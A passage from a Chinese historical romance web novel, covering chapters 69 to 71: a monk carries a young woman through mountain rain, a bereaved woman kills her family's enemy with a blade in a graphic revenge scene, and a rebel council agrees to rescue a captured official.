很快山石上流下的水渍，微微洇湿了应怜鞋尖。她不安地在里头蜷了蜷脚趾，擦了擦方才淋到雨的脸，无心间却抹了一手红红黄黄的面脂。 走山路也是无奈之选。她无法，只得将伞压得更低，硬着头皮要向前走。 不料一只手臂却忽被他捉了住。 他手掌的热度透过微湿的春衫，一触上便仿佛散不掉。应怜一怔，却见他收了自己那伞，脸上衣上被雨淋湿了些，转身将后背露给她，“我背你走。” 一把伞便遮住了他与她两人。 去岁他也背过她一次，她酒醉后迷迷糊糊，如今记忆已浅了，只记得是很温暖；这一回又不同，潺潺的水声在外，她与他仿佛被困在这小小的方寸间，早褪下臃肿的冬衣，春衫轻薄，阻不住衣下的热意。 她又早不像从前心境，不知为何，只是站在他面前，想到与他那样贴近，便连手指尖都开始发起烫来。 宗契倒很稳当，还催她道：“上来。” 他微弓着身子，等她终于犹犹豫豫伏上来了，教她伞稍抬一抬，很自然地背着她踩过泥泞起来的山路。 一晌湿意褪了，涌上来热意，应怜觉着整个人仿佛都要烧起来，为了撑好伞，两手环过他脖颈，便偎得更近，呼吸间尽是他的气息，一时头脑发懵，什么话也说不出来。 她身子仿佛是水做的，却比水更柔软。 宗契比任何时候，都更真切地体会到这一点。起初他还困惑，怎么去年灯节预赏那次并不如此。 紧接着便恍然，之后一点一点，感到一种温柔的煎熬。 她怎么就同绵云一般，仿若无骨，撑着伞，时常前倾些，便又收回来一点，手掌按在他肩上，动一动身子。 “……别动。”他不得不艰难地提醒。 应怜的回答也透着紧张，与她连成一片 的心跳很能相映成趣，“……哦。” 但她还记得为自己辩解一句，声音小小的，想也知道脸肯定红了，“我没有吃坏肚子。” 宗契甚少懂这方面，被她偶尔扭得起了心火，却还得放空思绪，半晌问：“好些了么？” 他身子比她热，暖烘烘地贴着，说实话很舒服。 起初的羞涩过了，应怜便放开了些，又微微伸了伸腿脚，点点头，想到他瞧不见，便答应了一声。那声音乖巧柔软，便钻进他耳里，映进他心里。 雨帘成片，潺潺水声盖住了彼此密密的心跳，却遮不住彼此间升腾的暖意。 宗契的步子很稳，背着她也轻轻巧巧，毫不顾忌自己湿透的鞋面与腿脚，几乎是淌着水走过一些碎石间。外头雨势再大，有她替他撑着伞，偶尔白玉似的皓腕在眼前晃荡而过，他心头便莫名觉得欢喜。 他生出一种与习武、打坐、供佛截然不同的欢喜，甚至不同于那夜中霄，醒后摸清自己的心境的那种煎熬的欢喜。 仿佛已经坐拥了那一颗珍宝，手捧了一轮明月，哪怕清楚她并不属于自己，却在此时此刻，感到了心底愉悦的满足。 见信时的那种阴晦情绪，被这一场雨清扫而空。 第70章 第70章闲情都落，逐水流花…… 他不在乎她有什么未婚夫婿。他从一开始，就没想过将这一泓月光扣在掌里。 若那真是良人，应当也不在乎旁人的言语目光，不在意她被世人所非议的名节。 山雨倾盆，来得快、去得也急，一番仓仓促促落去，敲打下红盛的山杏与山桃。飞红成茵，零星铺在脚下，点点洒在伞上。 雨势微收，便钻入鼻尖春芳与腐土的气味。应怜伏在他宽阔的背上，浑身暖烘烘的，肚腹里逐渐消停，却另有一番心思欺上心头，百转千回，也不知为何，不吐不快。 她起初吞吞吐吐，“我、我并不是有意瞒你。元羲他……若无那场变故，去岁夏，我与他应已完婚。只是命途难测，如今、如今……” 她感觉他的步子稍顿了顿。 “……如今他在天上，我在泥里。”这也没甚不好说的，对他，应怜索性坦诚了，“不能作配了。” 宗契这才开口，低低的声音与碎雨淙淙相击，“你配得上他。” 他如此笃定。应怜笑了笑，只觉暖意蔓上胸腔，“你都不晓得他是怎样的人，就说我配得上。” 她似开玩笑，话中并无多少伤感。宗契下意识想回头看她，却只偏了偏头，又忍住了。 “无论何等样人，你总配得上。”他继续稳当地往前走，道。 应怜道：“你尽拿话哄我。” 她不再与他说元羲，只是悄悄地搂紧了紧他脖颈，听着自己微微快速的心跳，仰起头，假作张望伞上一片片的落花。 一点一点的心事，便如落花逐水，纷纷流落。然残红消褪，枝头却更花盛，春日芳菲才到浓时。 原来闲情消落，被一场风雨磋磨尽后，她才终于认清，情之一字，心系何人。 对他恩与义的感激，在这一场山雨之中，尽数酿做了情。 年少时情窦初开，最是荒谬。 李定娘登上马车前，偏头扫了一眼那身量高长、覆一具精铁鬼面的人，心内暗嘲自己，半梦半醒之中，怎么竟将这样一个不人不鬼的东西认作了应栖。 说来可笑，她认得他——他与应栖还真有点关系。 至少那一张鬼面下，想必是坑坑洼洼不堪入目的脸。她虽没见过，但从前听郑氏提起过。 【你且宽心，应栖那孩子虽冲动鲁莽，但也实实在在替你报了仇。他差一点便烧死了那畜生，如今听说他半死不活，脸也烧没了人形，想来性命只在这几天了。】 她当时觉得开心，却又难堪。 谁也不愿在曾经属意过的人跟前，露出那样狼狈的一面。 鬼面之下，谁也瞧不清他是什么表情，唯有那一双眼依旧冷淡平静，目光却追随她消瘦虚弱的身影，缓缓登上了车。 那一次李府惨事后，大夫断她小产，因此医治调养，耽搁了一个多月，直至今日，却也还没养回几分。 马车铺整得倒是宽敞舒适，虽已四月仲春，却仍垫了暖绒绒的细绵，绸丝披陈在外，是她一向最爱的猩猩红，如今瞧着刺目，却有几分像那日她流出的血。 再登车的是阿苽，抱着个从家带来的黄胖，黄胖手里却拴着一支匕首。他早不复先前那般闹腾，小小的童子，也瘦了一大圈，更显得那一双眼大而惊恐。 他挨着李定娘坐下，不声不响，却悄悄又离她远了些。 李定娘早瞧见他的小动作，并未理睬，歪在软乎的车座上，似是打盹，却随意问了一句：“匕首谁给你的？” “鬼、鬼面将军。”阿苽小声答。 她笑了一声，那声儿里怎么都透着一股清冷。 阿苽有些不安，更抱紧了黄胖，又道：“将军说，要报仇，要杀了仇人。” “黄胖可不会杀人。”李定娘道。 她一句话，让阿苽不服气起来，将黄胖安置在一边，自个儿取了匕首，锋利的杀人玩意儿，挥在小小胖胖的手里，衬得几分滑稽。 这教李定娘想起一事来。她倾过身，问也没问，从他手里轻而易举夺走了匕首，也不瞧弟弟涨得通红的面色，冲自己身上比划了两下。 阿苽睁大眼，尖嫩地惊叫：“你不要死——” 李定娘刚想斥她聒噪，忽眼前一花，那车帘却被一只大手猛一下挑起来，一具鬼面带着森森冷冷的目光，闪在帘下。 她正拨开褙子，掀了里头小衣，露着一截秀白的腰肢，愣了愣。对方倒比她反应更大，猛一僵，丢下一句“莫要乱来”，声音粗粝沙哑，人却早已甩了车帘退出去了。 阿苽含着泪怔怔看着她。 李定娘不说话，自做自的事。 她割下了小衣下摆的两条，一条系在自己髻上，向阿苽招招手，“过来。” 阿苽如今无人可倚仗，只得哭哭啼啼、不情不愿地挪了过来。 李定娘便捧着他脑袋，比了比，觉着拴在脑门上不方便，索性将白布条系在了他细弱的手臂上。 “是我疏忽了。”她一边系，一边道，“竟忘了戴孝。你也是，以后日日都要将这孝戴在身上，记得了么？” 阿苽愣愣问：“戴孝是什么？” “……就是爹娘没了，服白以示哀默。”她沉默了片刻，道。 阿苽瘪瘪嘴，又哭了起来，哭了半晌，抽抽噎噎推她道：“他们说我没了娘，你没了孩儿，教我做你孩儿。我不要你、我要我娘——” 童言无忌，童言却最是伤人。李定娘捉住孩子的手，不让他推搡，将匕首还入黄胖的鞘中，又压着阿苽，迫他坐好。 “我也不要你。”她做完这些，身子有些虚乏，喘了口气，窝在车座里闭目养神，半晌说了一句阿苽听不懂的话，“……我不会再有孩儿了。” 鬼面人并没将大夫的话说与她听，她是听多嘴的女使私议晓得的。 大夫说，她连着几次小产，伤了根本，往后子嗣恐怕艰难。 艰难就艰难吧，总之两次都不是自己想要的，倒不如没有。 她如今没什么别的牵挂，心中唯有一念，即是报仇。 马车行驶起来，车轮俱绑了厚厚的布条，即便是崎岖路面，也并不感到颠簸。只是她昏沉得久了，仍是感到恶心。 仿佛有挥之不去的血腥纠缠她一般，她闭目便躺在深厚的血泊中。那血是从郑氏的身体里与她两个孩儿的身体里流出的。 她父亲死不瞑目，张着嘴，无声地催促她，报仇，报仇。 报仇。 从扬州到义兴县，一行队伍长长，走了整整五日。 扬州城富户遭殃，百姓倒得以保全，尚存完好的州城被占而不守，弃如敝履。义军早已 撤出城，以鬼面人为首，得了太湖兵变的消息，正赶往那处去。 走至第四日，中午停顿休整后，到得晌午，趁着日头正好，千余人的队伍重新开拔，绕过州城府县，只从荒野山丘的小路上走。 愈是没有人迹，山林湖泊的景致却愈好。 李定娘在马车中感到了渐渐的暖意，瞧一眼闷闷不乐的阿苽，觉着闷在车中确也不爽利，索性叫停了马车，牵着他下得车来，沐在风清日暖之中，眺望来去远山青翠、浮云联翩，心情也豁朗了许多。 近身一带是一条半坡，坡上数条不成行的野径，四面却有高低错落的不知名花树，一树树皆丛白，纷纷如雪，负春暄抱香梢头；风来花影摇落，漫山遍野翠茵之上，浅白成片，迷人心境。 她微有诧异，踏着落花，缓缓行在花香与日影之中，正接住一片纷坠下的花朵，道：“这是……桐花？怎么开得这样好？” “因在山野间，无人踏青游赏，搅扰花期，自然便开得好了。”一旁女使笑道，“娘子，此花有个别名，因砌下盛雪盈白，便唤作‘五月雪’。” 果不负“五月雪”的盛名。她点点头，随手枝上撷下一枝，戴在鬓间，一点花蕊自然清艳，“好看么？” 女使自然答好看。 一错眼间，似乎不远处那鬼面下的眸光也望来，比往常更久地逗留了片刻。 李定娘已习惯了无视他目光。 她想，纵是从前，他还是那个跟在六皇子身后的扈从，她也是看不上他的，更别提那是个人面兽心的东西；更别提他如今还毁了脸，不敢以真面目示人。 但她依旧落落地朝那头一笑，挑衅似的。 他移开了目光。 队伍没走多远，依旧在五月雪之中，却从某处来了个小将，向鬼面人一番报禀，随即押上来一人。 鬼面人却挥挥手，带着那狼狈万状之人到了马车旁，迎着李定娘瞬间凝滞的脸色，将捆缚的人推到她跟前。 他甚少说话，许是喉嗓也伤过。除了最初相见时，他在李家与人相谈，其余时候，李定娘不大听他开口，即便开口，也是寥寥几字。 “你要报仇？”他如今便说出话来，嘈错粗哑，指指磕头求饶的那人，“仇家就在此。” 那人脸孔脏污、衣衫褴褛，想是乱山丛中躲藏过，破衫下尽是条条竖竖的口子，此身更显得黧黑粗野，不是别人，正是林江啸的一条好狗——罗二郎。 自前几日刺杀单铮事败，林江啸自知事情不妙，遁入议事堂，为壮胆气，更请来了许多头目，试图以人众壮声势，压服单铮。不料单铮血气怒涌，竟不管不顾，提了一杆精铁枪，于人众之中，一怒刺死林江啸。瞬间群龙无首，单铮手下人趁机该杀的杀、该收的收，一举将义军改换了门庭。 孔奚在乱中被杀；罗二郎却因睡在妻妾美人乡中，一时未至，逃过一劫，闻听此，心胆俱裂，慌得连刀兵也没拿，偷了匹马一气儿跑出城，不敢回、又不甘心走，便在附近山坳里转圈，试图探听些后来的消息。 不巧便撞见正赶回来的鬼面人一支义军，被抓了个现形。 罗二郎如今早不是当日那般威风凛凛，哭得像个泥里抓不起来的黄胖，一劲儿向铁面人磕头，嘴里含含糊糊地说尽了好话。 铁面人却只看着李定娘。 李定娘不错眼地盯着地上那人，一双漂亮的目中，奇异地现出快意光彩，此时方觉老天爷指缝里漏下了几点对她的慈悲。 “你竟送上门来。”她轻声喃喃，回头将阿苽牵来，不觉笑出了声，“你瞧，那就是仇人。阿苽，你说该怎么办？” “杀了他！”阿苽气鼓鼓地叫，懵懵懂懂地左手黄胖、右手匕首。 罗二郎这回终于晓得改换李定娘的方向磕头，磕得额上见了血也不敢停。 李定娘哪管他求饶，向人要了一把刀，沉甸甸地双手握着，噙着微微的笑，一步一行，直至足尖踩在他沾满草芥的脑袋上。 罗二郎惊恐大叫，许是卜知了命途，不知从哪里陡生了最后一点勇气，竟猛侧身一滚，两脚撑着站了立起来，歪歪倒倒就要后逃。 才跳出几步，身后刀锋迅至。 那刀下得并不熟练，甚至因捉刀人的气力不足而有些迟钝，却森冷凌厉。他反射性回头，恰只见了那一双冷如刀锋的寒芒双眼。 美人生就这样一双眼睛，偶尔是再妙不过，能为一副曼妙身子增光添彩。只是这双眼若是送他穷途末路，便为不美了。 李定娘举刀劈来，毫无章法，却记得往那脖颈上劈。 一刀下，鲜血溅，惨叫声凄厉却戛然而止。 两刀，他扑到在地，血染翠茵花雪，抽搐待宰。 三刀，血流成河，命断魂消。 侍奉的女使在旁，噤若寒蝉、抖若筛糠，谁也不敢瞧李娘子那一双疯狂冰寒的眼，甚至连动也不敢动一下，任那血溅了一两滴在自己身上，各个好似阿苽手中的黄胖一般。 阿苽张着嘴，小小的身子也呆了住。 李定娘又在那早已不动的尸身上下了数刀，双手剧烈颤着，本是烟罗轻黄的衣衫，如今溅上殷红的血，倒似云烟里开出红艳的花来。 她身子也在颤，牙关咬得死紧，半晌才终眼前清明，发觉那死人已千疮百孔，血一直从身下淌到泥土里、丛草中、落花上。 久久压在心头的山，终于去了一半，她得以大喘了一口气，从未如此觉得畅快。 再回望众人，面色不一，他们见了她的目光，便低下脑袋，仿佛错的不是这死人，而是他们自己一般。 唯独那负手而立的一人，脸覆着鬼面，张牙舞爪讥诮向世人，目中反流露出别样的一缕神采来，再冷酷不过，却透着欣赏。 他赞赏她？ 李定娘心中冷笑，见刀上的血，心想，你该庆幸那一日我手边无刀，否则你才是第一个。 激怒之后，热血渐渐冷凉。山风一吹，吹散了血勇，她忽觉出一股索然，扔了刀在伏尸身旁，想了想，将鬓边那朵清白的桐花摘了，却从血泊里捡了一朵染得殷红的来戴，插在简致的髻上。 “好看么？”她问女使。 女使哆哆嗦嗦挤出一个笑，“好、好看。” “他死了。”她喃喃道，盼在天英灵未散，得见仇报的这一幕，“还有一个……王渡，王渡……” 阿苽“哇”地一声惊恐大哭起来，立即被同样惊恐的女使抱住，捂住了嘴。 人与人之间，当真天差地别。 有人觉得震恐，有人却觉美得像画； 他不眠不休、不吃不喝，骑着这匹偷来的马，跑了两个日夜，毫不敢阖眼，怕一歇息，便被后头追兵围上。 马跑累了，便用脚踢、用拳捶，甚至用牙咬，迫得畜生发狂，不停蹄地跑，终来到这片满是山花的青野，但见满眼雪砌的白，纷纷坠坠。那可怜的畜生终于支撑不住，口齿里跑出了血，四蹄一软，扑倒在地，挣了挣，再也没起得来。 不中用了。袁武想。 “不。”他跌跌撞撞，舔去干裂唇上绽开的血，唇齿间也满是锈腥，疲惫已极，却警惕地环顾四周，喃喃说话与自己听：“不是袁武。我叫、我叫……吾浑堵。” 他是草原上的鹰，只是未来得及展翅，便被削了翅羽，如今挣出牢笼，比脚下这匹马幸运。 拨开丛叶，不远不近之处，停着一辆马车。前后又有数匹鞍辔俱全的马，比跑死的这匹更要神俊，都是好马。只是那头人数众多，刀兵严整，一望便知是一支军队，不知来自何方。 他已是强弩之末，根本敌不过这许多人，取不得马。 目光来回游弋，却将里头变故，瞧了个满眼。 不知名的山花簌簌，乱了他一双布满血丝的眼，那之中的女郎，又娇又弱，想是连刀也提不起来的模样。 ……提了。 他咳嗽了一声，不自觉想笑，又拼命忍住，怕声音惊动队伍，依旧拨着草叶，窥向那头。 她真漂亮，迎着耀目的阳光，就像他想象中的中原贵女，有一双比宝石更明艳的双眸。但她手中刀锋的光芒，却比眸子更亮，闪着令他心悸的森寒。 我姓蒲察，是燕国蒲察贵主的小儿子。论草原上的身份，想必能配得上她。 他被她脸上沾染的鲜血所吸引，简直移不开目光，但不无苦涩地想到，如今他被起了个屈辱的中原名字，做了中原人的奴隶，是被烙了印记的马；而她被众多侍女环绕，必然高高在上，便不是他所能肖想的。 吾浑堵收回目光，移向那匹残剩一口气的马，狠狠掐了自己虎口一把，迫心神回转，忘掉她戴那朵染血山花时的惊鸿一瞥；歇了一会，终于咬牙站起身，望了望日头，朝自认对的方向而去。 他不是奴隶，有了机会，自然要挣脱锁链。他要寻那支反叛的义军，寻他们的头领，他姓单——去岁暮冬，在杀人的亭畔，他曾听人这样谈起过。 姓单的人，在中原总不会那么多，那是个稀罕的姓氏。 他便赌一把，上回救下那吴官人的，便是这绰号“赤发狻猊”的单铮。他能救他一次，便能救第二次。 吴官人是个好人，他得帮他。 更重要的是，吴官人是他一条生路——回家的生路。他得救自己。 赵芳庭近日几乎志得意满。 他受了箭伤，昏迷一日夜后醒来，预料之中，义军已改换门庭，跟了姓单。 钱美期间支开从人，独自与他报禀：“林江啸及心腹，除开一个罗二郎出逃，余党已尽数剪灭；咱们已拥单哥哥为头领，他吩咐与林江啸死后哀荣，却不知那狗头已被咱们悄悄割下，送去了姓黄的营中。那头说话算数，果真弃了战船战马，拔营回师。只是放出话来，四处宣扬剿灭了贼首，打散咱们反叛。这消息瞒不住，早晚单哥哥要晓得的。” “晓得就晓得，他已是头领，还能再下来不成？”赵芳庭嘿嘿一笑，牵动肩背伤口，疼得嘶了一声，面色发白，想了想又道，“那王渡如何？他配合咱们做的伎俩，如今功成，合该与他一份功劳。” 林江啸自认罗二郎献上的那几支箭上淬了要人命的毒，却不想王渡偷梁换柱，奉给罗二郎的不过是沾了迷药的箭头。那箭骗过了林江啸，也骗过了单铮，唬得他以为赵芳庭当真被毒箭所伤，怒发冲冠，亲自一枪挑了林江啸。 虽说有些挑拨，但好使就行。赵芳庭想，事后还得寻个时机，老老实实向单铮认个错，他到底不能拿自己怎么样。 钱美又道：“那黄仲骕也是怯懦愚蠢，他带了林江啸的人头回去，报与朝廷，说咱们被打散了，难道日后咱们声势愈大，他的事不会漏？朝廷不会更治他的罪？” 他想不通，赵芳庭却哼哼了几声，表示这事不稀罕：“他这会子烈火烹油，‘凯旋’而归，哪里会想以后的事？若不是这朝廷上下都烂到了根子，咱们也不得这样时机举事。你难道不记得咱们为何北地起家？不正是单哥哥杀了那匈奴小头目，赃官反要拿他去给匈奴人赔罪？他愈是颠倒黑白，咱们就愈能成事。” 钱美称是，又唏嘘了一番近日投军者众多之事，原都是被那春征赋税闹得没了活路的百姓；又说到王渡，“他家的事却是蹊跷。我查过，罗二郎压根没上他家劫掠，打杀他家的人打着咱们的旗号，却不是咱们的人，到如今也不知来头如何。” “他这样家大业大的人，哪里会没两三个仇家？那是他自家的事，与咱们无关。”赵芳庭道，“此回的事里，他出了力，便要得报酬，以示部众——即便从前是林江啸的人，今后与咱们一条心，也能有好奔头。” 言语之中，将王渡的事，便定了下来。 赵芳庭予了治伤的大夫好处封口，教人皆以为他中的是毒，便好生休养了些时日；到了四月末，便闻听得喜讯——新归附的铁面人带着部属而归，顺手杀了罗二郎这最后一条漏网之鱼。 他才养好了些伤，这日闻听单铮着人来请，晓得事关紧要，自己也好奇，想去瞧一瞧那铁面人究竟如何，便由人拿舆轿扛着，去到了议事厅。 恰是不早不晚的时机，他前脚才迈入“聚义厅”三个字的匾下，后脚忽有人报：“有一匈奴少年闯入府署，道与头领有旧，正有十万火急之事，要见头领！” “与头领有旧的匈奴人俱已入土了。”赵芳庭觉得好笑，待入了厅堂，忽却顿住，想起什么来，眼望座上座下满坑满谷的大小头目，甚而顾不得其间一鬼面具覆脸之人，径向上首的单铮道，“……不会是他吧？” 单铮亲自下座来迎，今日着一身方胜底的玄青圆领袍衫，形容鲜朗、蜂腰猿臂，闻言皱了皱眉，本能对“匈奴”二字有厌恶之感，“谁？” 赵芳庭提醒他：“去岁冬，咱们润州城外救下一人，随他一同去的正有一个匈奴的少年。哥哥忘了？” 单铮恍然，当即教带人入聚义厅，又指赵芳庭在上首一把圈椅上坐定。 正对着赵芳庭而坐的另一侧，恰是那鬼面人。赵芳庭坐下后，不着痕迹地扫量了那人几圈。 他惯会察言观色，只是此人只有一张鬼脸，无甚看头，唯身段气质，望之清俊，不似凡夫。赵芳庭瞄了几眼，便乏味地收回了目光。 那匈奴少年被带了上来，步伐略有踉跄，却强撑着不露怯态；原是一番少年张扬的神采，只因透支了气力，疲惫里显了灰白来。 “你是……”单铮细细观瞧他，一时记不起那日光景。 少年却噗通一声跪下，眼底激出乍逢一线生机的光彩，咬咬牙，“袁武，我叫袁武！大王去岁曾救下吴官人，他如今被押在江宁府上元县，不知生死！英雄既已救得他一次，万望再救他一回！”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章我自立囊中，不借何人锥…… 吴官人不是要去洛京么，怎么又被押在上元县了？他一个朝廷命官，除开那混世魔王袁衙内，谁还敢私自扣人不放？ 袁武一五一十将原委说来。 原是要去洛京的，只是行装盘缠乃至官凭路引俱已失落，千里迢迢，更无从行去。吴览悲恸过后，为行程计议，想到江宁已在前头不远，治下有个上元县，正做着知县的一人，恰是旧时同窗，便打算去投奔一二，栖身休整后再出发。 谁料知人知面不知心，那同窗同僚当面痛惜人遭遇，将他一应赴京事大包大揽下；转过天来，却变了脸色，喝令将人扣了起来。 “后来才打听着，那上元知县的顶头上峰，好巧不巧，正是袁衙内的亲爹，据说从前已被撸了官，也不知怎的又做成了江宁的知府。吴官人既与知县吐露实情，那赃官为了讨好上峰，便扣了他，欲要交那袁知府处置！”袁武急急说了一番，又道，“我虽是衙内的家人，对他家的底细却不知情！好在一时唬住了那知县，教他以为我与他是一头的，留了些时日，才寻得空子钻出罗网，来求大王！” 吴览这两年也不知犯了什么太岁，这是才出虎穴，又入狼窝的意思了。 单铮听分明了前缘，又将去岁亭畔杀袁辘之事与众兄弟们说了。众人便交头接耳地议论起来，为救是不救，一时争不出个结果。 要救吧，那可是个官，自古官匪两条道，哪有匪救官的道理； 不救吧，据说那又是个好官，好官替民做主，死一个可少一个。 正为难时，却又有人报：“先前等候的那位宗契师父带着一个小娘子到了！” 赵芳庭豁然立起，撇了一众人，抚掌笑道：“今日有喜！一个两个都赶在同一天来！快请进来，记得要恭敬有礼！” “那小娘子也来？”喽啰问。 “也来、也来！” 赵芳庭急急匆匆，拉着三分好奇的单铮，亲自步下庭阶相 迎。议论中止，众人自也络绎跟随而出，都要瞧瞧那是怎么样一人。 宗契正带着应怜，前日里寻人家买下一辆牛车，从城外连营帐间而过；入得城中，一路有人迎候，已觉阵仗太大，才入府署，绕过前堂坚石白玉影壁，遥遥又见丹墀之上走来数人，为首的一个显眼的赤发蓬烈、健硕修长，含一股常人难及的神俊姿态，一眼便知，那便是单铮。 他瞧见了单铮，单铮自然也瞧见了他，一番上下打量，一样觉豪气干云，气质相类，不由得便心生赞叹，爽朗笑道：“十八瞧人的本事果然独到，我何曾在寺观僧道里，见过似兄弟这般慨伟之人！可见佛留不住你，你必是要出世做个英雄的！” 赵芳庭在背后紧拉他衣袖。 初次见面便教人家还俗，单铮自己毫不觉违谬。好在宗契也是心宽，当下合十行礼，与他共入聚义厅内，又回头望了一眼应怜。 应怜只觉他二人怪一见如故的，面上噙着浅笑，向他微一点头。 单铮这才注意到应怜，比起对宗契，此时向她寒暄，到客气很多，却也不讲究什么男女大防，一并请入堂上，置了独独一把椅，教她安坐下来。 赵芳庭牵引，教宗契一一与众兄弟相见，认了个脸熟，一圈后才复落座，重又争起先前事来。 应怜坐在不远不近的位置，正扫量众人脸孔，高矮胖瘦，俱是从前做着大官的文武们所没有的另一种朝气与匪气，冷不防便见了一张森森的精铁鬼面，吓了一跳，不由多望了两眼。 好生纳闷，那面具不透风，他闷不闷？好好儿一人，为何非要戴个面具，总不会要学旧时兰陵王，鬼面摄人？ 只是他露在外的手掌上，略也有不平的疤痕，几乎覆满手掌手腕，鳞甲一般，尤其怪异可怖。她猜想他从前许是受过伤，相貌怪诞，因此以面具示人。 这样一想，心中又起了一丝怜悯，顿觉瞧他的时间长了，她颇为尴尬地别开眼。 只是几次转头，却有一种奇怪的感觉：那面具下的人也在望着自己。 不知是不是错觉，他望了自己数眼。每回她投来目光时，他又游移开了。 正心思有异，忽两个字钻入耳中，瞬间拉起她心神——“吴览”。 “那吴览是什么人？朝廷的官，这样读书人，满脑子都是迂腐的圣贤之道，即便咱们救了他，他难道还能与咱们为伍？” “上一回润州亭驿里，哥哥邀他来，他不正一口推了么？如今他自家取死，却要咱们兄弟去救，若咱们损个数条人命，他却又不入伙，当如何？” 反对者纷纷，大抵觉着官与匪不同道，此一趟少不得劫牢反狱，不划算。 应怜心中震骇，不知这吴览是否便是那位吴官人，私下里招手问了一喽啰，听明了前因后果，尤其在听到“润州城外吴官人家眷丧命”时，心头一沉，怔了半晌。 话本子里向来道善有善报、恶有恶报，邪终不压正，到了都是花好月圆，人也团圆；可她竟没想过，团圆不是结局，结局是血淋淋的现世报。 原来她时常心心念念想要寻机报恩的那位秦夫人，她同她的女儿，竟半年前已香消玉殒，还是以那样惨烈不堪的方式。 竟如此、竟如此。 那从前应栖为打抱不平，做得那些义举又算什么？拔刀相助的侠义道反倒成了她母女家人的催命符？ 应栖若泉下有知，该多憾恨？ 那头里还在争。 聚义厅中大小头目虽以单铮为首，这却不是他的一言堂。他与赵芳庭力持要救，余人有说不救的，也有迟疑不决的。赵芳庭便问刚来的宗契：“你意下如何？” 宗契断然说要救，“吴官人曾治吴县，与我有恩，若论私谊，我必相救。” “救了又如何？”说话的是王渡，他在堂上也新有一席，摇头道，“无论好官赃官，像他那样的官人，救了便是烫手山芋，事后又该如何安置？” 鬼面人一直未发话。赵芳庭便出言相问。 他只回了简短两个字，且含义模糊：“皆可。” 单铮有些着恼，向着聚义厅众人，“咱们身在聚义厅，便是为义而聚，义字为何？不正是锄奸惩恶！若见死不救，咱们与那些吃百姓肉、喝百姓血的赃官有甚不同！” “我能说几句么？”一个小小的声音堂下挤入一众汉子嘈杂里来。 一双、两双、三双……络绎有目光偏转过来，并停止了话声，堂上安静了一瞬。 说话的是应怜。她在这么多双目光下无比局促，但垂下的薄绫袖口相扣，遮了不自觉绞紧的手。她脸面微微发红，立起了身，却没有坐下的意思，向宗契眨眨眼，望望单铮，又望望赵芳庭。 单铮瞧她像瞧一个不知事的后辈甥女，方才义愤填膺，此时对她，和颜悦色起来，道：“柳娘子但说无妨。” 他们各个都盯着她，方才早已有偷偷往这处来瞄的，此时便都得了时机，毫无顾忌地望来，大多没想着她的话，却贪看那花萼含苞、粉妆玉露的一张脸，改不了贼匪粗蛮的习气，一见了好看的，便往肉里盯。 应怜无视掉那些目光，咽下紧张，深吸了一口气，开口：“方才我们自城外来，见连营数里，军阵围得方圆水泄不通，可见数目之众。人多是好事，只是想必粮米、军饷也颇费吧？将军们都是以一敌百的好汉，上阵杀敌奋勇当先，只是不知可都熟悉后方调度、筹措粮草、抚众安民之事？日后若新打下疆土，可有合适的人选，妥善经营、开源节流？” 她说话时目光转向，看到哪里，哪里的头便低下，将一个个脑袋说成了一座座嗡嗡响的撞钟。 那些轻薄的目光一下子消退了个一干二净。 从前的贼匪头子们各个面面相觑： 她说什么玩意儿？ 是不是笑咱们有勇无谋？ 听不懂，谁晓得。 单铮的脑袋也成了撞钟，嗡嗡响过，又觉得她似乎很有道理，先对她一番刮目相看，再望向赵芳庭，却见他眉头皱得深深，便知这切中了他的心事。 他虽从不计较这等琐事，说到粮草，却不能不管。他手底下如今万人，不填饱这一万张嘴，他们怎会死心塌地跟着自己？ “娘子是说，这吴官人便是精通民生之人？”赵芳庭问。 应怜点头，心想与赵芳庭这样人打交道，果然说一会十，“我父……我家住洛京，曾听人夸赞过吴官人，道他是治民股肱之才，又因出身寒微，最是体恤百姓，经世治国，非他不可。且他如今妻女俱丧，正是孤立无依之时，咱们趁此时机，雪中送炭，不愁得不到他的忠心。” 单铮眸子亮了。 这便不是救与不救的问题，而是一定要救、怎么更快救人性命的事了。 他很清楚，“义军”这个名头，实则是他们为自己贴金。如今国之南北，多数正统大有将他们这一支部众视为贼寇、流民的；而数月来，他们所作的事也的确对得起这称呼。 瞧瞧自己这些人都做了什么？ 劫吴县、劫平江府、劫扬州……不是想劫，是势到如此，不得不劫。不事生产，便只能以战养战。 好在太湖浩荡，尚能滋养这万众一时。然其后如何，他不得不殚精竭虑。 “如今谁还有异议？”他想到此，愈发心热起来，仿佛上元县里关押的不是个吴官人，而是他万众大军吃饭的粮袋，“你们谁若是觉得柳娘子的话不足论，便自个站出来，给我做筹措粮草的活计！” 兄弟们各个再次低下了他们蛮勇霸道的脑袋。 英雄为五斗米折腰，不磕碜。 赵芳庭朝应怜嘿嘿一笑，目露赞赏，又向众人道：“既都无异议，那便这样定下来。救人宜早不宜迟，诸将暂听我部署：钱美、杨兴领一支斥候军先去查探前哨，三郎与宗契随后接应，可充先锋……” 他目示宗契，后者点头。 “我与鬼面将军殿后。”他一一将精锐头领大略分派完，又叮嘱林文贵，“军师在本部，辅佐单哥哥，务要使军中安稳，不得生变。” 他点到谁，目光便看向那人，相互一会意；唯瞧见鬼面人时，却眼尖发现他正向着应怜的方向，似是看她入了神。 也只一瞬。察觉到他的目光，鬼面人回了头，张牙舞爪的鬼面具之下，眸光中似乎有些什么，微不可觉地闪动了几分，冷淡地向赵芳庭点点头。 单铮的话声却打断了赵芳庭微微异样的心思，“我呢？这事里怎没我的份！” “哥哥是头领，哪有头领冲锋陷阵的？”赵芳庭收回心神，笑道，“圣人说君子不立于危墙之下，您在本部坐镇，安定军心，这便是咱们最大的倚仗！” 单铮虽心有不满，但想着这不过是初次部署，事后仍有可调度的余地，议事厅内便不好说什么，先且这么着了。 跟着又议了些杂事，如新归附头目的居所、林江啸的遗留子弟家眷、端午军阵休整事宜等，不在话下。 议定了事后，众人散去。单铮偏留宗契，又说了几句话；应怜不便搅扰，却又不想先走，便在廊外磨磨蹭蹭，索性立住了等他。 府署自作了中军大营，并未做太多休整，只是掘去了一些娇弱的奇花，栽植了松竹等古朴刚劲的 植株，仍间错点缀三五株月季、芍药等。如今正是花时，她立在翠红鲜妍畔，一时等不来人，心思又飘飞，想那两个最牵挂的人，如今正在这横竖的廊院某处，两个都想见，两个却都怯于见。 一个是李定娘，虽说离去时闹得尴尬，但毕竟是骨肉的亲人，血脉连着血脉，她遭了这样大的劫难，自己纵偏私些呢？ 一个是元羲。 从前日日夜夜想见的人，不知为何，渐渐地她竟生不起再见的念头。始至如今，才知何为缘分浅薄。 